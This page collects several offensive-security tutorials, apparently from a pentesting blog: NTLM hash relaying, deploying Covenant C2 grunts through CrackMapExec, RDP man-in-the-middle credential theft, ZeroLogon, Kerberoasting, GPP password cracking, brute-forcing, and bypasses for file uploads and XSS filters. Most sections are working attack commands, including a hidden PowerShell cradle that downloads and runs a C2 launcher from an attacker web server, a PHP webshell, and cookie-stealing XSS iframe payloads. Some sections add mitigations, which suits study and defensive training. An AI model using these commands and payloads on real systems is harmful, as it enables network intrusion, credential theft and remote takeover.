Hacking Tutorial

Abusing LLMNR/NBT-NS in Active Directory Domains: Part 3 (Relaying Net-NTLM Hashes w/ Responder & NTLMRelayX)

Other Parts in Series:

In this guide, I will show you how to take these captured NTLMv2 hashes and relay them to vulnerable machines on the same network, completely bypassing the need to crack them!

Part 3 Table of Contents:

  • Wait, Am I Relaying or Passing?
  • Overview of the Attack
  • Let’s Talk Prereqs
  • Topology of the Network
  • Setting up the Attack
  • Performing the Attack
  • Mitigation

Wait, Am I Relaying or Passing?

Before we dive in too deep, I do want to take a moment to clarify the difference between relaying a captured hash, and passing a captured hash.

  • You CAN perform Pass-The-Hash attacks with NTLM hashes.
  • You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes.

So where do you get a NTLM hash? These are the type of hashes that are captured when you use a tool like SecretsDump.py to extract the contents of a SAM database. These type of hashes are stored on a system and cannot be relayed over the network. However, you can take a hash in this format and “pass” it to another machine using a tool like PTH-WinExe. While it’s not a full blown tutorial, you can read more about using this tool in a post I made titled Popping Remote Shells w/ winexe & pth-winexe on Windows.

Net-NTLM, cannot be passed around the network. This means in order to use this type of hash to authenticate to another machine, you must capture this hash while it is in transit, and then relay it to a destination that you control. Showing how to do this is the purpose of today’s guide.

Overview of the Attack

If you’ve gone through my previous guides, you already know that we can use a tool called Responder to be intercept any LLMNR broadcasts on the network. By responding to these requests, we are able to capture Net-NTLM hashes from the user account that initiates the request.

Relaying this hash uses the same method, except instead of presenting the hash to us as the hacker, we relay it to a different machine that we’d like to get control of. As long as the hash we captured belongs to a user with admin rights on our destined machine, we should be able to get command execution to take control of it.

Let’s Talk Prereqs

Alright so we know that we must relay a Net-NTLM hash, but what else is required for this attack to work?

  • You must be on the same network as the victim(s). This means that if your attacking machine is in a different subnet/broadcast domain, you will be unable to capture the Net-NTLM hash.
  • LLMNR must be enabled in the network (enabled by default).
  • SMB Signing must be disabled or not required on the target machine. This is the default configuration for most Windows desktop operating systems. Windows Servers will usually have SMB Signing enabled and enforced by default.
  • The Net-NTLM hash that you capture must belong to an elevated user on the target machine in order for you to get command execution.

Topology of the Network

In our scenario, we have four machines that are all a part of the same internal network.

Windows Server 2019:

  • Acts as the domain controller.
  • Has a FQDN of king.nba.local.
  • IP address is

First Windows 10 Machine:

  • Joined to the nba.local domain.
  • Is used by NBA\kBryant domain user.
  • IP address is

Second Windows 10 Machine:

  • Joined to the nba.local domain.
  • Is used by NBA\kIrving domain user.
  • IP address is

Attacker Kali Linux:

  • Not domain joined.
  • IP address is

Setting up the Attack

To begin, let’s head over to our Responder directory. I like to store mine in /opt.

cd /opt/Responder

Find the Responder.conf file and edit it using your favorite text editor. In order for us to run NTLMRelayX later, we’ll need to turn off the SMB and HTTP servers. If we don’t take this step, NTLMRelayX will be unable to utilize these protocols later.

With those servers disabled, we’re ready to fire up Responder. You’ll need a few flags for this to work correctly.

-I : Used to provide the interface that we’re going to listen on.

-r : Enable answers for netbios wredir suffix queries.

-d : Enable answers for netbios domain suffix queries.

sudo python Responder.py -I eth0 -r -d -w

With Responder running, we need to now configure NTLMRelayX so that we can forward any captured Net-NTLM hashes to a target of our choosing. We’ll start by changing into the impacket directory and then use a command similar to the one below.

cd /opt/impacket

sudo ntlmrelayx.py -t <targetIP> -smb2support

Note: Instead of targeting just a single machine, you could also use the -tf targets.txt flag to provide a list of targets.
Note: You’ll need to include the -smb2support flag unless the machine you’re targeting supports SMBv1.

With both commands running, we finally have our attack setup.

Performing the Attack

At this point we have everything set up. Now we just need to sit back and wait for LLMNR to do it’s thing. If we wanted to give it a little push, we could manually browse to a file share that doesn’t exist from a machine that differs from who we are targeting.

At this point, the hash of the user account we issued that request from would be captured and then relayed to our specified target(s). If this user happens to be a local administrator account, NTLMRelayX will dump the SAM database by default.

If we wanted to get more creative, we could also use the -c flag to specify a command to run. Combine this with your favorite C2 launcher (perhaps Covenant), and you’ve got some real nasty stuff going on here.

As a quick proof of concept, I’ll just issue a basic whoami command.

sudo ntlmrelayx.py -t <target> -smb2support -c "whoami"


There are a few ways to mitigate this attack vector.

  1. Disable the LLMNR protocol in your environment. If this wasn’t running to begin with, we wouldn’t be able to capture the Net-NTLM hash so easily. However, this isn’t fool proof as there are other ways to intercept these hashes in a network.
  2. Enable and Enforce SMB Signing. This attack requires SMB Signing to be Not Enforced in order to work successfully against the target machines. By default, SMB Signing is typically enabled on Windows Server operating systems, but disabled on Windows Desktops.
  3. Don’t give users local admin rights, especially not on multiple machines. If we are unable to capture elevated user hashes, we’re unable to get command execution on the target machines.

More to come on mitigation in the future, including step by step instructions on creating and configuring GPOs.

Hacking Tutorial

Using CrackMapExec to Install Covenant C2 Launchers

CrackMapExec is a wonderful tool to leverage once you have valid domain credentials. If you happen to have elevated domain credentials, the possibilities become endless on what you can do.

I was recently on an internal network engagement where I was able to pull down cleartext credentials to a domain admin account. CrackMapExec allowed me to easily execute commands and dump SAM tables, but what else can I do to take this to the next level?

This is where Covenant C2 comes in! I found lots of blog posts online that talk about how to install and set up Covenant, but I couldn’t find anything that clearly showed how to leverage a tool like CrackMapExec to actually get Grunts connected. This post aims to serve as a guide to fill that gap.

Table of Contents:

  • Installing Covenant C2
  • Setting up the Listener.
  • Setting up the Launcher
  • Shortening the Encoded Launcher
  • Hosting the Launcher on a Different Webserver
  • Encoding Custom Payloads
  • Using CrackMapExec to Launch Covenant Grunts

Installing Covenant C2

I don’t really want to go into detail on how to set up Covenant, but there are some awesome articles that go into more depth on this topic.

git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
dotnet build
dotnet run

Setting up the Listener

Also, this is going to go into depth on this, but this is the Listener that I set up in order for my example demonstration to work.

BindPort: 8081
ConnectPort: 8081
ConnectAddresses: Your routeable address to this instance.

Setting up the Launcher

Now that we have a Listener, we need to generate a Launcher. Since CrackMapExec has the ability to execute commands, we’ll leverage PowerShell for this. Go ahead and fill out the settings that you need for for your engagement. Once it’s ready, click Generate.

This should generate two commands that you can then run against a system to spawn a Grunt instance, one that is encoded and one that isn’t. In order for us to use CrackMapExec, you’ll need the Encoded Launcher. I suggest testing this out by running it against a Windows machine you control to make sure things are set up correctly.

Shortening the Encoded Launcher

By default, the Encoded Launcher that gets generated is likely too long to use with CrackMapExec. Instead, we’ll need to create our own Encoded Launcher that will leverage the Invoke-Expression cmdlet to download and execute a web-hosted payload. If you’re going to host this launcher with Covenant directly, you can click on the Host tab and specify the path for the file.

The non-encoded command we’re looking to create will look similar to whats noted below. Again, you’ll need to make sure Covenant is hosting the file up in order for you to be able to use it.

powershell -Sta -Nop -Window Hidden -Command "iex (New-Object Net.WebClient).DownloadString('http://<localhost:8081/launcher.ps1')"

The encoded version of this payload will be much shorter and should be able to be passed to CrackMapExec.

Hosting the launcher on a different machine

If you’re going to host the file from a different machine, you’ll need to Encode your own command instead of using the provided command. This can be achieved by doing the following.

First, you’ll need to navigate to the Launcher’s Generate tab and Download it to the system you wish to host it on.

Once this PowerShell script is present on the target system, feel free to host it up with your favorite web hosting tool. In my example, I’ll leverage Python to do this.

sudo python -m SimpleHTTPServer 8082

Now we need to craft our powershell command that will go out to this webserver, download, and execute the payload into memory. The command should look something like this before encoding. The only difference between this and the one that Covenant produces is the web address.

powershell -Sta -Nop -Window Hidden -Command "iex (New-Object Net.WebClient).DownloadString('http://webServer:8082/launcher.ps1')"

Encoding Custom Payloads

To generate the encoded command we need to run, we can use the following commands in PowerShell. You’ll want to replace $string with the contents of your -command flag mentioned above.

$string = "iex (New-Object Net.WebClient).DownloadString('http://<webServer>:8082/ps.ps1')"
$encodedcommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($string))
echo $encodedcommand 

For Linux Users: Or, you could also place your PowerShell command into a .ps1 script and run the following to get the encoded command out of Kali.

cat file.ps1 | iconv -t utf-16le | base64 -w 0

Then you can take the output from your echo/cat command, paste it into the placeholder below, and test to make sure your launcher works properly.

powershell -Sta -Nop -Window Hidden -EncodedCommand <encodedCommand>

Using CrackMapExec to Launch Covenant Grunts

Now that we have our command ready, we can simply pass that to CrackMapExec like this.

sudo crackmapexec smb <target(s)> -u <user> -p <password> -x '<encodedCommand>'

Donations and Support:
Like my content? Please consider supporting me on Patreon:

Purchase a VPN Using my Affiliate Link

Hacking Tutorial

Performing RDP Man in the Middle (MitM) Attacks Using Seth.sh to Steal Passwords

Are you used to getting inundated with invalid certificate prompts when connecting to a remote machine? Way more often than not do I see self-signed certificates in play when establishing RDP connections. This always left me wondering… Surely this opens the door to a Man in the Middle Attack?

Insert Seth! Which is described by its authors as “A tool written in Python and Bash to MitM RDP connections by attempting to downgrade the connection in order to extract clear text credentials.”

Table of Contents:

  • Installing the Tool
  • Setting the Stage
  • Performing the Attack
  • Mitigation Strategies

Installing the Tool

You can download the tool from GitHub by using the following command.

sudo git clone https://github.com/SySS-Research/Seth.git

We have a couple prerequisites to install.

sudo apt install dsniff -y

Setting the Stage

In my demo, we have three virtual machines in play.

  1. Attacker VM running Kali Linux at IP address
  2. Victim VM running Windows 10 at
  3. Server/Destination VM running Windows 10 at

The victim is going to sign into his computer, and then attempt to perform a RDP connection to the Destination VM at using his domain credentials, NBA\dLillard. When he attempts the connection, he is prompted to enter a password.

Because IT admins are usually lazy, all machines are just using their self-signed certificates which generate certificate errors when users connect. Many users in the real world are actually numb to these errors because this is such a common misconfiguration left far too often. Because of this, majority of users will just ignore the certificate error that gets generated during the Man in The Middle attack.

Performing the Attack

The tool is actually very simple to use.


Using the above syntax, our command will look like this.

sudo ./seth.sh eth0

When we execute the above command, we just need to wait for the victim to attempt their RDP connection. Once they do, they’ll be treated with their normal credential and certificate error prompts, which should return their cleartext credentials to us.

The above example is showing output from Seth when the destination machine does not require NLA authentication. However, domain joined Windows 10 machines will enforce NLA by default, which means we will not be able to forward the connection request off to the server in order to establish the connection.

However, even with NLA enabled, Seth will spin up a fake server in order to attack the client and receive the cleartext credential. The end user’s connection attempt to the server will fail, but we’re still able to utilize the tool to grab what we need.

Warning When Using Against Local User Accounts

Be careful when using this tool against machine that are not domain joined, or against machines that authenticate over RDP using local user accounts.

I found that when I attempted to perform the attack to non-domain joined machines, the invalid hostname was passed to the destination server. The login was attempted using the local user account to the hostname of the victim, and not the local user account on the hostname of the destination. The attack still “worked” because I was able to extract cleartext credentials, but the end user was unable to authenticate to their destined computer and would know something was wrong.

Mitigation Strategies

Configure clients so they do not establish connections to a RDP host if they cannot verify its identity. This will require Public Key Infrastructure, either by purchasing public certification or rolling out your own infrastructure.

Windows machines can be configured in this way using the following GPO:

Computer Configuration\Policies\Administrative Templates\Windows Components\Remote Desktop Services\Remote Desktop Connection Client\Configure server authentication for client


Hacking Tutorial, Windows Updates/Patches

Abusing CVE-2020-1472 (ZeroLogon)

Secura has a great blog post on this topic already, but I wanted to share my experience with actually playing with their proof-of-concept exploit code. You can read about this exploit on their blog at https://www.secura.com/blog/zero-logon.

The exploit abuses the Netlogon Remote Protocol in Windows, which among other things, can be used to update computer passwords.

This vulnerability, and patch, isn’t exactly new. Microsoft released a patch for it last month, but there are now some public POCs in the wild that anybody can get their hands on, making this much more dangerous to leave un-patched.

Installing Tools

First, we’re going to need a few things from GitHub. I like to download the tools in my /opt directory. You can run the following command to download the prerequisites.

sudo git clone https://github.com/dirkjanm/CVE-2020-1472.git

And then we need to download and install Impacket.

sudo git clone https://github.com/SecureAuthCorp/impacket.git

cd /opt/impacket

sudo pip3 install .

Performing the Exploit

The above mentioned POC exploit will reset the password of the domain controller account, so BE CAREFUL RUNNING IN PRODUCTION as it will break communication to other domain controllers in the domain.

To reset the password of the domain controller account and make it null, we can use the following command.

python3 cve-2020-1472-exploit.py <netBIOS-Hostname> <targetIP>

If you see that the exploit was successful, you should then be able to run a command like the following to dump all of the domain account hashes.

sudo secretsdump.py -just-dc <domain>/<hostname>\$@<targetIP>

Restoring the Environment

The proof-of-concept exploit code also includes a script for restoring the old credential post-exploitation. To do this, you can grab the hex encoded machine password from the secretsdump.py output and then use the following command.

sudo python restorepassword.py <domain>/<hostname>@<hostname> -target-ip <target-IP> -hexpass <hex-credential>

Patching the Exploit

A patch is available from Microsoft at the following URL. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472

While the above mentioned article includes a table with a list of patches, I’d highly recommend checking the Windows Update Catalog for patches that might have superseded the articles mentioned in this table. For example, the September roll-ups contain this patch and are not listed in the table.

Running this exploit against a machine that has received the patch will return the following result.

Donations and Support:
Like my content? Please consider supporting me on Patreon:

Purchase a VPN Using my Affiliate Link

Hacking Tutorial

Bruteforcing Usernames w/ WFuzz

In a recent post, I showed you how to Brute-force Subdomains w/ WFuzz. This time, I’m going to show you how we can use the same tool to brute-force a list of valid users. This guide is going to use Falafel from Hack The Box as an example, but does not intend to serve as a walkthrough or write-up of the machine.

Setting the Stage

If we navigate to the web interface of the box, we can attempt to sign into a login page. We notice that when we type a valid username into the field, the error message states “Wrong identification“.

However, entering a username that doesn’t exist returns a message that states “Try again..” We can use this to enumerate valid usernames.

Looking at the request in Burp, we see that its being sent as a /POST request with two parameters; username and password.

Using WFuzz to Brute-Force Valid Users

To begin, we’ll need a wordlist that contains a list of usernames. Seclists has one that is great for this, which you can get from Github. I have mine downloaded already.

Let’s start piecing together our command! Let me break down all the pieces that we’ll use.

-c : Return output in color.
-z file,<wordlist> : Specify our payload. In this case, a list of usernames.
--sc 200 : Show responses that return a response code of 200.
-d "username=FUZZ&password=anything" : Provide parameters for the /POST request.

Putting all of the above together, this is what our first command looks like!

wfuzz -c -z file,/usr/share/seclists/Usernames/Names/names.txt --sc 200 -d "username=FUZZ&password=anything"

Running this doesn’t actually produce results we want though. That’s because every page comes back w/ a success 200 response code.

However, notice that each response contains 657 words. Let’s rewrite our command so that it only shows us results that DO NOT contain 657 words.

wfuzz -c -z file,/usr/share/seclists/Usernames/Names/names.txt --hw 657 -d "username=FUZZ&password=anything"

After letting it run for a bit, we start to enumerate a list of users!

Hacking Tutorial

Performing Kerberoast Attacks in Windows Active Directory

Without Authenticated User:

Some user accounts may be configured with ‘Do not require Kerberos preauthentication‘ set. For accounts that are configured in this way, we may not need valid user credentials to extract TGTs for cracking. The following tool from Impacket can help with this.

./GetNPUsers.py -dc-ip <targetIP> -request '<FQDN>/' -format hashcat

With Authenticated User:

Once you have low-level credentials to a Windows domain, you may be able to leverage those credentials to perform a Kerberoast attack against a higher-level user account. The easiest way to identify if a user account is vulnerable to a Kerberoast attack is via BloodHound.

Once you have identified a Kerberoastable user, you can leverage Impacket to perform the attack w/ the following command. This command will require valid domain credentials for at least a low-level user, but it should return the password hash of any Kerberoastable user on the domain.

GetUserSPNs.py -request -dc-ip <ip-addr> <domain>/<user>

Alternatively, you could also use the following PowerShell one-liner.

IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1') ; Invoke-Kerberoast -OutputFormat HashCat|Select-Object -ExpandProperty hash | out-file -Encoding ASCII kerb-Hash0.txt

We can then take this password hash to hashcat with the following command.

hashcat -m 13100 <hashfile> <wordlist>

Hacking Tutorial

Cracking Group Policy Preferences File (GPP XML)

There are some great posts out there that already explain what this vulnerability is. I would suggest reading up on it over at https://adsecurity.org/?p=2288.

However, if you come across an old GPP XML file, you may be able to extract a password hash from it. The file is typically found at path similar to the one shown below.


As an example, we found a file on Active at Hack The Box that looks like the following. Within Line 2, there is a cpassword hash that we can extract.

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>

If we extract that password, we can use a tool to crack it.

gpp-decrypt <hash>

Note: If you don’t have this tool, you can download it with the following command: sudo apt install gpp-decrypt

Hacking Tutorial

Bruteforcing Subdomains w/ WFuzz

This guide is going to use CMess from TryHack.me as an example, but does not intend to serve as a walkthrough or write-up of the machine.

Before we begin, make sure you can resolve the domain name that we’re targeting. If you’re doing this in a CTF-type environment, you may need to update your /etc/hosts file with the hostname/address of the target.

We can use a tool called wfuzz to bruteforce a list of subdomains, but first, we’ll need a list to use.

I like to use the top 5000 list from Seclists, which can be found at https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt

With our list in hand, let’s set up our command using the sub-fighter mode.

sudo wfuzz -c -f sub-fighter.txt -Z -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --sc 200,202,204,301,302,307,403 <targetURL>

Now you may get a ton of output that shows valid subdomains depending on how the site is configured. If you notice a large amount of results that contain the same word count, this may just be an indication that the site returns a 200 response, but it just displays a “Not found” error.

To remove results with a specific word count, you can append your command w/ --hw <value>. For example, our new command that removes results that respond w/ a word count of 290 would look like the following:

wfuzz -c -f sub-fighter -w top5000.txt -u 'http://target.tld' -H "Host: FUZZ.target.tld" --hw 290

This will return a list of subdomains that do not contain a word count of 290. If you get a successful result, make sure you’re able to resolve the subdomain as well before trying to browse to it. If you’re in a CTF-type environment, you may need to update your /etc/hosts file.

With our /etc/hosts file updated, we should be able to browse to the page.

Hacking Tutorial, WebApp 101

File Upload Bypass Techniques

In this guide, I’m going to show you one method to consider when you come across a file upload that only accepts PNG files. This method could theoretically be used for other file-types as well, but I’ll demonstrate uploading a PHP file on a file upload feature that “should” only allow PNG files on Popcorn from Hack The Box.

Note: This post does not intend to serve as a walkthrough or write-up for Popcorn at HackTheBox.

Table of Contents

  • Setting the Stage
  • Getting Malicious and Performing the Bypass
  • Using the Webshell
  • Closing Thoughts

Setting the Stage

Before diving in, let’s talk about where the vulnerable functionality exists. Popcorn is running an application called Torrent Hoster that allows for us to upload our own torrent files. This upload functionality is found at the following URL.

To give it a test upload, we’ll download a torrent for a Kali image from https://www.kali.org/downloads/ and upload that here.

Once the torrent file is saved, we’ll upload it to Torrent Hoster.

Once the torrent is uploaded, we’re taken to a page that shows us the default ‘No Screenshot’ image.

For fun, we’ll click Edit this torrent and upload our own image as a PNG file.

So here’s the thing. So far, we’ve found two file upload features on this web application. The first was to upload a .TORRENT file, and the second was to upload a .PNG file as a screenshot of the torrent. This is great, but how can this be exploited? Well to start, the Wappalyzer Firefox extension shows us that Popcorn is running PHP. What if instead of uploading a .TORRENT or .PNG, we tried to upload a .PHP webshell? Could we gain code execution?

Uploading a file is only any good if we’re able to execute the contents once its uploaded. Luckily for us, the uploaded PNG files are accessible externally from the following address.

Since we have a way to execute the uploaded PNG files, we’ll target this file upload as our exploitation path. To see if PHP files are even allowed without any bypass technique, let’s create a quick example PHP that we can attempt to upload. To create the PHP file, I just used the following command.

echo 'hello world' > test.php

Trying to upload test.php immediately returns an error.

So how do we bypass this and get our PHP uploaded?

Getting Malicious and Performing the Bypass

Let’s start by creating a malicious PHP file that we actually want to upload, since our test.php isn’t really going to do us any good. I like to use this PHP webshell one-liner to create webshell.php.

<?php system($_GET['cmd']); ?>

With this file created, let’s spin up BurpSuite and route our traffic through it. With Burp running, I’m going to attempt to upload webshell.php so we can look at the request.

Obviously this will fail to upload as well, just like the previous PHP file failed to upload. While we’re here, let’s leave Burp running and upload a valid PNG file again so we can compare the two requests within BurpSuite and spot the difference.

Within the Burp proxy HTTP History tab, we’re able to see both requests.

At this time, we’re not sure what checks the web application is performing to verify PNG uploads. It would be simple enough to try a bypass that just changes the filename of “webshell.php” to “webshell.png.php”, so lets send our PHP request to Repeater and see what happens when we make this simple modification.

Content-Disposition: form-data; name="file"; filename="webshell.png.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>

That didn’t work. Alright, so we need to do something more. In addition to the above change, let’s also adjust the Content-Type to match what the valid PNG file had.

Content-Disposition: form-data; name="file"; filename="webshell.png.php"
Content-Type: image/jpeg

Nice! Looks like we got that to work out. But what if it didn’t? We could take this even further by extracting the “Magic Bytes” from the actual PNG upload, and pasting them before the beginning of our PHP script. An example of that would look like this.

Using the Webshell

Now that we have our malicous PHP file planted, we can navigate to the following URL and figure out what name it was assigned.

On this page, let’s browse to the PHP file and add a parameter called cmd that contains a value of the command we wish to execute.

Nice! We have command execution.

Closing Thoughts

File uploads are one of the most difficult exploitation paths to harden, which make for great targets for hackers. When presented with a file upload that only accepts certain file extensions, such as PNG, always try the following:

  • Appending the name of the file extension in the filename parameter.
  • Adjusting the content-type to match that of an accepted file-type.
  • Include magic bytes for an accepted file.

We were able to leverage Popcorn on Hack the Box to demonstrate these techniques. I hope you found this guide informational, and if so, please feel free to check out some of my other publications.

Hacking Tutorial, Pentesting, WebApp 101

Bypassing XSS Defenses Part 1: Finding Allowed Tags and Attributes

This post intends to serve as a guide for a common bypass technique when you’re up against a web application firewall (WAF). In the event that the WAF limits what tags and attributes are allowed to be passed, we can use BurpSuite’s Intruder functionality to learn which tags are allowed.

Table of Contents:

  • Setting the stage.
  • Identifying which tags are allowed.
  • Identifying which events are allowed.
  • Putting the pieces together.

Setting the stage.

In our example, we have a webapp with a vulnerable search field. To begin testing, we start out with a simple XSS payload that will display the session cookie of the user when it fails to load a bad image path.

<img src=1 onerror=alert(document.cookie)>

However, the webserver responds with an error stating we’re using a tag that isn’t allowed.

Identifying which tags are allowed.

If we’re going to exploit this webapp, we need to first find out what tags are allowed in the search field. To do this, we can leverage BurpSuite’s Intruder functionality to brute force the page with every possible JavaScript tag and see which one(s) respond with a success message.

Let’s spin up BurpSuite and capture a web request with a generic search term.

With our request captured, let’s send this off to Intruder.

To begin, lets Clear the default payload positions BurpSuite selected for us.

Now we will replace the search term with <> to open/close the script tags that we wish to send to the application. Place the cursor between the angle brackets and click Add § twice, to create a payload position. The value of the search term should now look like: <§§>

Now that we have the position set, we need to provide our list of payloads. Head over to PortSwigger’s XSS cheat sheet and click Copy tags to clipboard.

With a list of all tags copied to your clipboard, head back to Intruder and select the Payload tab. Then click Paste.

Everything should now be in place! Let’s click Start Attack and allow time for all of the requests to be made.

Once the attack finishes, we see that the Body tag returns a status code of 200. This indicates that the WAF allows this tag and perhaps we can use it for our exploitation process.

Identifying which events are allowed.

Now that we know we can use the body tag, we need to know which events we can use. We’ll repeat the same process we used above, but this time, we’ll Copy events to clipboard from the PortSwigger’s XSS cheat sheet.

Heading back to Intruder, we’ll start by adjusting our list of Payloads. Click Clear to remove the existing list.

Now we can Paste our list of events.

Let’s head over to the Positions tab and adjust our search term to <body%20=1>. Place your cursor before the equal sign and then click Add § twice to create the payload position. The value of the search term should now look like: <body%20§§=1>

This will cause BurpSuite to send requests to the search field that look like

/?search=<body onactivate=1>
/?search=<body onafterprint=1>
/?search=<body onafterscriptexecute=1>

I’m happy with that. We’ll Start Attack.

Observe the results, and notice that the only payload returning a 200 response is onresize.

Putting the pieces together.

So what do we know? Well, we know that we can use the body tag along with the onresize element. Armed with this knowledge, what would happen if we were to inject JavaScript code that displayed the users session cookie when the window is resized? Could we craft something that automatically resizes the window to trigger this for us?

As an attacker, lets spin up a malicious webpage that includes a reference to the vulnerable webapp within an iframe.

<iframe src="https://your-lab-id.web-security-academy.net/?search="><body onresize=alert(document.cookie)>" onload=this.style.width='100px'>

Let’s break down what we’re doing.

  1. We begin by inserting an iframe to our webpage that will display content from the vulnerable webapp.
  2. We then inject a search query that will generate an alert containing the victim’s session cookie when the element onresize is called within the body tag.
  3. We then force the iframe to resize itself to a width of 100px upon loading.
  4. When the victim browses to our malicious website, this iframe will be loaded in their browser, resized, and then the session cookie will be displayed back to them.

Now this is really just useful as a proof of concept, because this particular example doesn’t provide the attacker with the session cookie. The finished product would look something like this after including HTML encoding.

<iframe src="https://your-lab-id.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=alert(document.cookie)%3E"onload=this.style.width='100px'>

The primary goal for this post was to showcase BurpSuite Intruder’s ability to bruteforce a webserver and identify the attack surface. I hope you found it useful!